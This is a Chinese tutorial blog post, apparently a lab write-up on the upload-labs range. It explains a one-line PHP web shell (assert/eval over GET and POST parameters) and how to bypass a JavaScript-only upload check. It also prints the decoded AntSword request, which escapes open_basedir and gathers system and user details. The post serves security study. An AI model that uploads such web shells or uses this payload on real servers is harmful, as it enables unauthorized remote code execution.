当前位置: 首页 > news >正文

文件上传漏洞------一句话木马原理解析

目录

一、实验环境

二、实验过程

构造一句话木马

一句话木马的使用:

木马原理解析:

一、实验环境

小皮面板搭建:upload-labs靶场

二、实验过程

构造一句话木马

这是一个最简单的一句话木马,我们用GET传参接受了两个参数,其最终目的是构造出:assert($_GET['1']) -> assert(eval(phpinfo()))这样的语句。这里是因为assert只能执行函数,不能执行字符串形式的参数。我们也可以直接构造eval,但是很容易被杀,在我个人电脑上我们可以关闭保护软件,但是我们可以关闭网站服务器的杀毒软件吗?显然不能,所以这里我们使用了传参来构建一句话木马。

一句话木马的使用:

这里以第一关为例:

我们上传发现不允许php文件上传,根据弹窗很明显发现这是一个白名单限制,我们看看源码。这个网站的防御规则很清晰了,他是在前端防御,谷歌浏览器提供一个不加载JavaScript的功能。我们设置成不允许,刷新靶场再次上传木马文件发现上传成功了。接下来复制图片地址根据一句话木马的构造思路进行传参。发现木马执行了phpinfo(),这究竟是为什么呢?我们一起来看看它的原理吧!

木马原理解析:

思路:先利用中国蚁剑进行连接,在进行抓包看看究竟有什么东西。

url:http://10.5.50.55/upload-labs/upload/web.php?0=assert&1=eval($_POST['muma'])
密码:muma

添加成功,点击左上角AntSword设置网站代理:127.0.0.1端口:8080

接下来就开始抓包了。抓到了,完了我将它进行转码看看究竟是什么吧

@ini_set("display_errors", "0");
@set_time_limit(0);$opdir = @ini_get("open_basedir");
if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach ($oparr as $item) {if (!@is_writable($item)) {continue;};$tmdir = $item . "/.66b0688826";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}$tmdir = realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};
};function asenc($out)
{return $out;
};function asoutput()
{$output = ob_get_contents();ob_end_clean();echo "9a4f" . "2074";echo @asenc($output);echo "05c31" . "7aefb";
}ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D}    ";if (substr($D, 0, 1) != "/") {foreach (range("C", "Z") as $L)if (is_dir("{$L}:")) $R .= "{$L}:";} else {$R .= "/";}$R .= "    ";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R .= php_uname();$R .= "    {$s}";echo $R;
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

解完码之后是这串代码,这段代码的功能包括:

  1. 禁用 PHP 错误显示(通过 ini_set("display_errors", "0")
  2. 设置脚本执行时间不限制(通过 set_time_limit(0)
  3. 尝试获取当前 PHP 配置中的 open_basedir 设置,并对其进行一系列操作:检查是否存在可写目录,并在其中创建一个名为 .66b0688826 的隐藏目录尝试移动到该目录,并修改 open_basedir 设置以访问上层目录移除创建的隐藏目录
  4. 定义了两个函数 asencasoutput,但它们在代码中并没有被直接调用
  5. 尝试获取服务器信息和当前用户信息,并输出到页面上       
muma=%40eval(%40base64_decode(%24_POST%5B'u91112c5bcc0a7'%5D))%3B

这串代码是在对上一个代码进行base64解码,完了我们还要执行assert(eval(muma)) 这就是一句话木马的总体原理。我们通过右边可以发现我们的盘符、系统等信息都被爆出来了。

http://www.lryc.cn/news/319214.html

相关文章:

  • Openfeign使用教程(带你快速体验Openfeign的便捷)
  • 【leetcode】相同的树➕对称二叉树➕另一棵树的子树
  • uni-app 安卓手机判断是否开启相机相册权限
  • GPT实战系列-LangChain构建自定义Agent
  • uniapp-vue3 项目初始化集成配置【开箱即用】
  • 【Qt】使用Qt实现Web服务器(一):QtWebApp介绍、演示
  • SQLiteC/C++接口详细介绍之sqlite3类(八)
  • 面视题之——悲观锁和乐观锁
  • OpenAI 的 GPTs 提示词泄露攻击与防护实战:攻击卷(一)
  • 【 c 语言 】指针入门
  • 鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:Swiper)
  • Python 导入Excel三维坐标数据 生成三维曲面地形图(面) 4-2、线条平滑曲面(原始颜色)但不去除无效点
  • win10 + cpu + pycharm + mindspore
  • 设计一个生产制造系统100问?
  • LeetCode 面试经典150题 26.删除有序数组中的重复项
  • 海豚调度系列之:集群部署(Cluster)
  • 居民健康监测小程序|基于微信小程序的居民健康监测小程序设计与实现(源码+数据库+文档)
  • 【海贼王的数据航海】排序——概念|直接插入排序|希尔排序
  • Docker环境快速搭建RocketMq
  • 【leetcode热题】比较版本号
  • 【ArcGISPro】道路数据下载并使用
  • DataGrip 面试题及答案整理,最新面试题
  • 2、设计模式之单例模式详解(Singleton)
  • 【django framework】ModelSerializer+GenericAPIView,如何在提交前修改某些字段值
  • 2024年【P气瓶充装】模拟考试及P气瓶充装证考试
  • <JavaEE> 数据链路层 -- 以太网协议、MTU限制、ARP协议
  • 认识Testbench仿真激励
  • Postman请求API接口测试步骤和说明
  • 这是二叉搜索树吗?
  • 5.82 BCC工具之tcpdrop.py解读